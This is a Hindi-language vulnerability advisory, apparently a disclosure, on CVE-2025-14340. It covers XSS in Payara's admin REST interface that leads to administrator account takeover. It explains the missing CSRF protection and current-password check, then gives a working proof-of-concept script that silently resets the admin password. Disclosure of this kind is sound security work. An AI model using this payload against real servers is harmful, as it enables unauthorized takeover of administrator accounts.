XSS से Admin अकाउंट टेकओवर (CVE-2025-14340)

Payara के Administration Rest Interface में एक Cross-Site Scripting कमजोरी है, जो हमलावर-नियंत्रित JavaScript के निष्पादन की अनुमति देती है और admin अकाउंट टेकओवर की ओर ले जाती है। इसके कारण:

1. पैनल HTTP Basic Auth का उपयोग करता है (क्रेडेंशियल ब्राउज़र द्वारा same-origin अनुरोधों के लिए स्वचालित रूप से भेजे जाते हैं)।
2. change-admin-password एंडपॉइंट को किसी उपयोगकर्ता का पासवर्ड अपडेट करने के लिए वर्तमान पासवर्ड की आवश्यकता नहीं होती है।
3. change-admin-password फ़ॉर्म में CSRF सुरक्षा नहीं है।
4. /management/domain/version में XSS का उपयोग करने वाला एक इंजेक्टेड स्क्रिप्ट /management/domain/change-admin-password पर POST कर सकता है और किसी भी लक्षित खाते के लिए हमलावर द्वारा चुना गया पासवर्ड सेट कर सकता है — जिसके परिणामस्वरूप administrator अकाउंट टेकओवर होता है।

प्रूफ ऑफ कॉन्सेप्ट

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

कानूनी

केवल अधिकृत उपयोग के लिए। DeepSecurity Perú अनधिकृत पहुंच का समर्थन नहीं करता है और प्रदान की गई जानकारी के किसी भी दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।